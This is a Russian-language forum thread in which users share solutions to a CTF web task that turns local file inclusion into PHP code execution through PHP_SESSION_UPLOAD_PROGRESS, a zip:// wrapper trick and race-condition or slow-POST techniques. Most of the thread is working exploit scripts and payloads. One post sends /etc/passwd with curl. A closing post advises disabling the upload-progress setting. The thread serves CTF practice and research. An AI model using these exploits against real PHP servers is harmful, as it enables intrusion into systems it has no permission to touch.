 |
|

29.06.2019, 10:14
|
|
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами:
4931606
Репутация:
138
|
|
Прохождения участников:
Сообщение от =HALK=
↑
Эксплойт с гонкой, которую я всегда выигрываю со своим пингом)
Код:
import requests
from threading import Thread
import base64
import time
data = {'PHP_SESSION_UPLOAD_PROGRESS':base64.b64decode('AAAAAAAAAAAAAAIAAABmL1BLAwQKAAAAAACdVdBOUIPMfRIAAAASAAAACgAAAGYvdGVzdC5waHA8P3BocCBwaHBpbmZvKCk7Pz5QSwMECgAAAAAAebLPTlrf2AAGAQAABgEAAAkAAABpbmRleC5waHA8P3BocA0KDQppZihpc3NldCgkX0dFVFsnZiddKSAmJiBiYXNlbmFtZSgkX0dFVFsnZiddKT09PSd0ZXN0LnBocCcpew0KCWluY2x1ZGUoJF9HRVRbJ2YnXSk7DQp9ZWxzZXsNCmVjaG8gJzxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjgsIDE0LCAxNCk7Ij48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij48aW1nIHN0eWxlPSIgaGVpZ2h0OiAxMDAwcHg7IiBzcmM9ImRlcmV2YS5qcGciPjwvZGl2PjwvYm9keT4nOw0KDQp9DQo/Pg0KUEsBAj8AFAAAAAAAlFXQTgAAAAAAAAAAAAAAAAIAJAAAAAAAAAAQAAAAAAAAAGYvCgAgAAAAAAABABgAJoqHWhck1QEmiodaFyTVAb/vPUwXJNUBUEsBAj8ACgAAAAAAnVXQTlCDzH0SAAAAEgAAAAoAJAAAAAAAAAAgAAAAIAAAAGYvdGVzdC5waHAKACAAAAAAAAEAGACYR0ZlFyTVAVKb3lYXJNUBUpveVhck1QFQSwECPwAKAAAAAAB5ss9OWt/YAAYBAAAGAQAACQAkAAAAAAAAACAAAABaAAAAaW5kZXgucGhwCgAgAAAAAAABABgA364RTa8j1QEALWVxAyLVAW8KaNiDDNUBUEsFBgAAAAADAAMACwEAAIcBAAAAAA==')}
files = {'file':'A'*5000*1024}
cookies = {'PHPSESSID':'test'}
def send():
requests.post('http://task.antichat.com:10008/', cookies=cookies, data=data, files=files)
def get():
time.sleep(0.2)
r = requests.get('http://task.antichat.com:10008/?f=zip:///var/lib/php/sessions/sess_test%23f/test.php')
print r.text.encode("utf-8")
thread1 = Thread(target=send)
thread2 = Thread(target=get)
thread1.start()
thread2.start()
thread1.join()
thread2.join()
Сообщение от nix_security
↑
Привет, решил таск, пока через race condition
Есть две проблемы:
1. Необходимо добиться RCE через LFI. Тут
https://github.com/orangetw/My-CTF-W...-php-challenge
узнал описано, что создать сессию в php возможно без session_start если воспользоваться параметром
PHP_SESSION_UPLOAD_PROGRESS.
2. Необходимо забайпасить функцию basename. На ум сразу приходит враппер zip://, который разжевали в предыдущем таске.
Итак, делаем архив:
Код:
zip tmp.zip ./tmp/test.php;
ehco -n "upload_progress_" > temp2.zip; cat tmp.zip> temp2.zip;
zip -F temp2.zip --out ./test-res.zip
Модифицируем эксплойт китайцев:
Код:
#!/usr/bin/env python3
import requests
import sys
from multiprocessing.dummy import Pool as ThreadPool
HOST = 'http://task.antichat.com:10008/'
sess_name = 'test'
headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}
payload = open('test-res.zip', 'rb').read()
print(payload)
data = {
'PHP_SESSION_UPLOAD_PROGRESS': payload
}
def runner_post(i):
fp = open('test', 'rb')
while 1:
r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
fp.close()
def runner_get(i):
while 1:
r = requests.get(HOST + "index.php?f=zip:///var/lib/php/sessions/sess_test%23tmp/test.php")
if "phpinfo()" in r.text:
print(r.text)
break
if sys.argv[1] == '1':
runner = runner_get
else:
runner = runner_post
pool = ThreadPool(5)
res = pool.map_async(runner,range(5)).get(0xffff)
Запускаем и через пару минут видим phpinfo)
P.S. Способ без гонки, через slow query попробую отладить на днях
Сообщение от nix_security
↑
Привет!
Переделал эксплойт через slow query. Пэйлоад тот же, мы просто отправим http запрос на загрузку файла через сокет и после начала передачи поставим sleep. Важно, чтобы размер переданной части файла + заголовков был больше буфера. Тогда файл сессии флашнется на диск.
Заявленная длина передаваемого файла должна быть больше того, что мы передадим фактически. Корректную концовку запроса (конец файла\r\n + --boundary--\r\n) отправлять необязательно. Во время паузы у атакующего появляется окно, чтобы заинклудить пэйлоад:
Код:
#!/usr/bin/env python3
import os
import time
import socket
import requests
# Target
hostname = "task.antichat.com"
port = 10008
# Params
sess_name = 'test'
user_agent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
'''
payload gen:
zip payload.zip ./tmp/test.php
echo -n "upload_progress_" > ./tmp.zip
cat payload.zip >> ./tmp.zip
zip -F tmp.zip --out result.zip
xxd result.zip
'''
payload = b'PK\x03\x04\n\x00\x00\x00\x00\x00\x11\x87\xd0N\xe4\x9b\xc1Y' + \
b'\x13\x00\x00\x00\x13\x00\x00\x00\x0c\x00\x1c\x00tmp/test.p' + \
b'hpUT\t\x00\x03\xc1t\x06]\xc1t\x06]ux\x0b\x00\x01\x04\x00\x00' + \
b'\x00\x00\x04\x00\x00\x00\x00\nPK\x01\x02' + \
b'\x1e\x03\n\x00\x00\x00\x00\x00\x11\x87\xd0N\xe4\x9b\xc1Y\x13' + \
b'\x00\x00\x00\x13\x00\x00\x00\x0c\x00\x18\x00\x00\x00\x00\x00' + \
b'\x01\x00\x00\x00\xa4\x81\x10\x00\x00\x00tmp/test.phpUT\x05' + \
b'\x00\x03\xc1t\x06]ux\x0b\x00\x01\x04\x00\x00\x00\x00\x04\x00' + \
b'\x00\x00\x00PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00R\x00' + \
b'\x00\x00i\x00\x00\x00\x00\x00\n'
def slow_post():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(20)
s.connect((hostname, port))
boundary = "d616cb44a03dd005920d52707fcfce66"
body_len = 50000 # len must be more than real
post_req = (
"POST / HTTP/1.1\r\n" +
"Host: %s\r\n" % hostname +
"User-Agent: %s\r\n" % user_agent +
"Cookie: PHPSESSID=%s;\r\n" % sess_name +
"Accept: */*\r\n" +
"Content-Length: %i\r\n" % body_len +
"Accept-Encoding: text\r\n" +
"Content-Type: multipart/form-data; boundary=%s\r\n" % boundary +
"\r\n--%s\r\n" % boundary +
"Content-Disposition: form-data;" +
"name=\"PHP_SESSION_UPLOAD_PROGRESS\"\r\n" +
"\r\n"
).encode("utf-8") + \
payload + (
"\r\n--%s\r\n" % boundary +
"Content-Disposition: form-data; name=\"f\"; filename=\"test\"\r\n" +
"\r\n" + "test" * 10000 # chunk must be more than buffer
).encode("utf-8")
print("Send slow post request")
s.send(post_req)
# pause file upload
time.sleep(10)
# file will not ever uploaded
def get_lfi():
url = "http://%s:%i" % (hostname, port) + \
"/index.php?f=zip:///var/lib/php/sessions/sess_%s%%23tmp/test.php" % sess_name
print("Include session file:", url, sep="\n")
headers = {
"User-Agent": user_agent
}
r = requests.get(url, headers=headers)
return r.text
if __name__ == '__main__':
pid = os.fork()
if pid:
# wait for a start upload
time.sleep(1)
print("PHPINFO:", get_lfi(), sep="\n")
else:
slow_post()
P.S. Спасибо за таск!
Сообщение от joelblack
↑
Привет,спасибо за таск, очень зашел, открыл для себя в процессе решения некоторые фишки, о которых не знал ранее. Итак, тестировал все на
win10+ OSPanel 5.3.0+ php7.3.2+
Apache2.4
Пока читаем таск8, видим жирный намек на оранжа:
http://blog.orange.tw/2018/10/hitcon...challenge.html
Исходя из исследования оранжа, понимаем, что при определенных условиях мы можем писать произвольные данные в сессию. Но тут есть 2 проблемы:
Первая
Код:
if(isset($_GET['f']) && basename($_GET['f'])==='test.php') include($_GET['f']);
Из чего следует,что полностью все по ресерчу сделать не получится, так как все портит basename().
Вторая
Из-за настройки по умолчанию для session.upload_progress.prefix наш сессионный файл будет начинаться с префикса
upload_progress_
Смотрим
task7
:
/threads/470693/page-2#post-4310093
Обращаем внимание на архив
ZIP
. Идем в документацию PHP и смотрим соответствующий враппер:
https://www.php.net/manual/ru/wrappers.compression.php
Код:
zip://archive.zip#dir/file.txt
Так как можно обращаться непосредственно к файлам внутри архива,необходимо создать нужную структуру внутри ,и тогда basename() вернет true после чего
Первая
проблема решена.Далее как формировать архив, и как он решит вторую проблему описано в таске7, так что остается адаптировать готовое решение:
zip.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]'[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"upload_progress_"[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$local_path_to_archive[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"final.zip"[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$inc_file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"abs/test.php"[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]file_put_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$inc_file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$evil_code[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$zip[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]ZipArchive[/COLOR][COLOR="#007700"](); if ([/COLOR][COLOR="#0000BB"]$zip[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$local_path_to_archive[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]ZIPARCHIVE[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]CREATE[/COLOR][COLOR="#007700"])!==[/COLOR][COLOR="#0000BB"]TRUE[/COLOR][COLOR="#007700"]) { exit([/COLOR][COLOR="#DD0000"]"could not open file[/COLOR][COLOR="#0000BB"]$local_path_to_archive[/COLOR][COLOR="#DD0000"]\n"[/COLOR][COLOR="#007700"]); } [/COLOR][COLOR="#0000BB"]$zip[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addFromString[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$zip[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addFile[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$inc_file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"abs/test.php"[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$zip[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]close[/COLOR][COLOR="#007700"]();[/COLOR][/COLOR]
Затем, как сформировали готовый архив,вырезаем оттуда
upload_progress_
.После этого фактически
Вторая
проблема решена. Остается отправить все это дело.
По умолчанию
session.upload_progress.cleanup
в PHP
включен
. Это означает, что прогресс загрузки в сеансе будет очищен как можно скорее. На лицо
Race Condition
. У оранжа есть готовый POC, который не много изменив, можно применить и здесь. Я разбил его на 2 файла:
uploader_rc.py
Код:
import requests
HOST = 'http://localhost'
sess_name = 'test'
headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}
while 1:
fp = open('D:\\OSPanel\\domains\\task8\\test.txt', 'rb')
r = requests.post(HOST, files={'f': fp}, data={'PHP_SESSION_UPLOAD_PROGRESS':open('D:\\OSPanel\\domains\\task8\\final.zip', 'rb').read()}, headers=headers)
fp.close()
print('Send!')
uploader_rc_get.py
Код:
import requests
HOST = 'http://localhost'
sess_name = 'test'
headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}
filename = 'zip://D:\\ospanel\\userdata\\temp\\sess_' + sess_name+ '%23abs/test.php'
while 1:
url = '%s?f=%s' % (HOST, filename)
r = requests.get(url, headers=headers)
c = r.content
if c.find('PHP Version') != -1:
print(c)
break
Остается лишь запустить 2 файла, после чего получим результат работы функции phpinfo();
Spoiler: img

|
|
|

29.06.2019, 11:44
|
|
Участник форума
Регистрация: 23.03.2017
Сообщений: 265
С нами:
4812086
Репутация:
119
|
|
Очень хороший таск. Как по мне, данная реализация в определенной степени зиродейная, и уж точно в паблике уникальная. Но действительно таск, и технология как уже писал Лайт, недооцененная.
Хочу отметить несколько интересных моментов, которые я видел в процессе отладки.
Когда решал первый пункт, я тупо воспользовался питоновским скриптом от Orange, который чутка подпилил под таск, и сначала отлаживался у себя на VPS, и в какой то момент остановив бесконечный цикл в питоновском скрипте - созданная сессия со всем содержимым перманентно осталась на сервере.
Полагаю, речь про уже упомянутый сегфолт. Но причину его появления, и как его вызвать в нужный момент, мне кажется искать нужно более глубже, в сорцах PHP, а тут мои полномочия уже как бы всё ©
По второму пункту, вот там уже начался хардкор. Связываться с питоном, и писать на нем решение не очень хотелось, поэтому ковырял возможности реализовать на однопоточном php, и вместо мультикурла решил воспользоваться вызовом системных команд.
Я для удобства у себя поставил в скрипт:
Код:
$file = '/var/lib/php/session/sess_iamorange';
if(file_exists($file)) { echo file_get_contents($file); }
И в процессе аплоада + обращению к скрипту наблюдал содержимое sess_iamorange. В общем суть такая, что у меня на моей VPS создавалась сессия, и была доступна для инклуда всего за 2 запроса, без всяких циклов. Пример кода:
Код:
shell_exec('curl http://my.vps -H \'Cookie: PHPSESSID=iamorange\' -F \'PHP_SESSION_UPLOAD_PROGRESS=ZZtestZ\' -F \'file=@/etc/passwd\' > /dev/null 2>/dev/null &');
$post = array(
'PHP_SESSION_UPLOAD_PROGRESS' => 'any_text',
'file' => '@/etc/passwd'
);
echo curl_post('http://my.vps',$post);
Суть кода, посылаем через системный курл спец запрос, не дожидаемся от курла ответа, фигачим второй запрос на php курле, и наблюдаем содержимое sess_iamorange
Т.е. данным кодом, который я посылал с одного сервера на сервер своей VPS, я видел гарантированное срабатывание, создание, и подхватывание сессии. А вот попробовав откуда-то ещё послать такой же запрос на свою VPS - уже не срабатывает.
Я полагаю, тут имеют место быть "тайминги", т.е. по микросекундам с двух серверов было идеальное совпадение, которое и позволило всего двумя запросами создать и проинклудить сессию. Как мне кажется, в эту сторону ещё можно поковырять, и возможно найти способ решения представленной задачи всего за 2 HTTP запроса, без всяких циклов и подгадываний размеров файла, так как посылая в одном потоке запрос:
Код:
shell_exec('curl http://my.vps -H \'Cookie: PHPSESSID=iamorange\' -F \'PHP_SESSION_UPLOAD_PROGRESS=ZZtestZ\' -F \'file=@/etc/passwd\' > /dev/null 2>/dev/null &');
Мы всегда имеем один и тот же результат в bytes_processsed + в content_length. Да, понятное дело, что для .zip хвост неактуален, но возможно будет критичен для других реализаций чего-либо на основе принудительной сессии.
По факту я не доковырялся до истины, и реализовал свой колхозный вариант на основе циклов + системной команды в качестве второго потока, который кое как работал.
|
|
|

15.07.2019, 08:30
|
|
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами:
4931606
Репутация:
138
|
|
Последнее, о чем не сказали:
Отслеживание прогресса загрузки файлов с помощью сессий - не такая уж востребованная операция, чтобы в свете обнаруженных возможностей (а есть и другие идеи использования, надо тестить) в настройках php по дефолту иметь значение session.upload_progress.enabled= On- выглядит неоправданным риском.
И пока разработчики php еще не пришли к этому пониманию, рекомендуется на своих проектах самим выставить это значение в Off.
При проведении аудитов и пентестов, кстати, в отчете тоже можно рекомендовать такую настройку.
|
|
|

16.07.2019, 12:05
|
|
Постоянный
Регистрация: 18.03.2016
Сообщений: 663
С нами:
5344886
Репутация:
441
|
|
Сообщение от dooble
↑
И пока разработчики php еще не пришли к этому пониманию
"Гром не грянет, мужик не перекрестится" - негласный девиз разрабов PHP
|
|
|

28.09.2019, 19:47
|
|
Постоянный
Регистрация: 18.03.2016
Сообщений: 663
С нами:
5344886
Репутация:
441
|
|
Представилась возможность более плотно поковырять эту фичу, поэтому могу тоже немного поделиться своими ислледованиями.
PHP_SESSION_UPLOAD_PROGRESS как и задумано, исправно мониторит прогресс загрузки файла от клиента на сервер, скидывая данные в файл сессии для дальнейшей (возможной) обработки. Поэтому, как верно заметил @dooble, если файл большой, то время жизни "полезного" файла будет увеличиваться и тогда есть 100% шансы выйграть эту гонку за пару запросов.
Но нам так же ничего не мешает, растянуть передачу маленького файла на большой промежуток времени. Поэтому, осмелюсь предположить, что вот эти странные явления:
Сообщение от dooble
↑
файл сессии не очищался еще продолжительное время после окончания работы скрипта загрузки
Сообщение от Gorbachev
↑
Т.е. данным кодом, который я посылал с одного сервера на сервер своей VPS, я видел гарантированное срабатывание, создание, и подхватывание сессии. А вот попробовав откуда-то ещё послать такой же запрос на свою VPS - уже не срабатывает.
Сообщение от Gorbachev
↑
полагаю, тут имеют место быть "тайминги", т.е. по микросекундам с двух серверов было идеальное совпадение
ничто иное как подвисший или медленный коннект.
Вполне нормальный, жизненный кейс, когда у клиента замедлился интернет, ведь по сути для этого и нужен отображаемый прогресс загрузки, чтоб было веселей ждать
В общем, немного пошаманив, пришёл к такому варианту, где не досылается последний байт:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]'[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$scheme[/COLOR][COLOR="#007700"]= ([/COLOR][COLOR="#0000BB"]$ssl[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#DD0000"]'ssl://'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'-----------------------------xxxxxxxxxxxx'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$payload[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'-----------------------------xxxxxxxxxxxx'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'Content-Disposition: form-data; name="file"; filename="tricky_file.is"'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'Content-Type: text/plain'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]str_repeat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'A'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1024[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]1000[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'-----------------------------xxxxxxxxxxxx--'[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'POST '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]' HTTP/1.1'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:56.0) Gecko/20160101 Firefox/56.0'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'Host: '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'Cookie: PHPSESSID='[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$session_name[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'Content-Length: '[/COLOR][COLOR="#007700"].([/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"])).[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'Connection: close'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]stream_socket_client[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$scheme[/COLOR][COLOR="#007700"].([/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]':'[/COLOR][COLOR="#007700"].([/COLOR][COLOR="#0000BB"]$scheme[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]443[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]80[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]$errno[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errstr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]30[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"]) -[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])); print[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'Session file name is: sess_'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$session_name[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'Hurry up :)'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]sleep[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1000[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]?> [/COLOR][/COLOR]
Никаких гонок при этом нет, файл лежит очень долго. По моим наблюдениям, до обрыва соединения, т.к. ждать больше получаса не хотелось По хорошему, этот "плохой" коннект должен обрываться по таймауту и возможно тут присутствует задел на развитие/усиление DOS, но это не в кассу.
Вариант получился сильно похожий на решение от @nix_secutiry, но уже в более универсальном варианте. Который будет удерживать файл, столько, сколько потребует ваш вектор.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|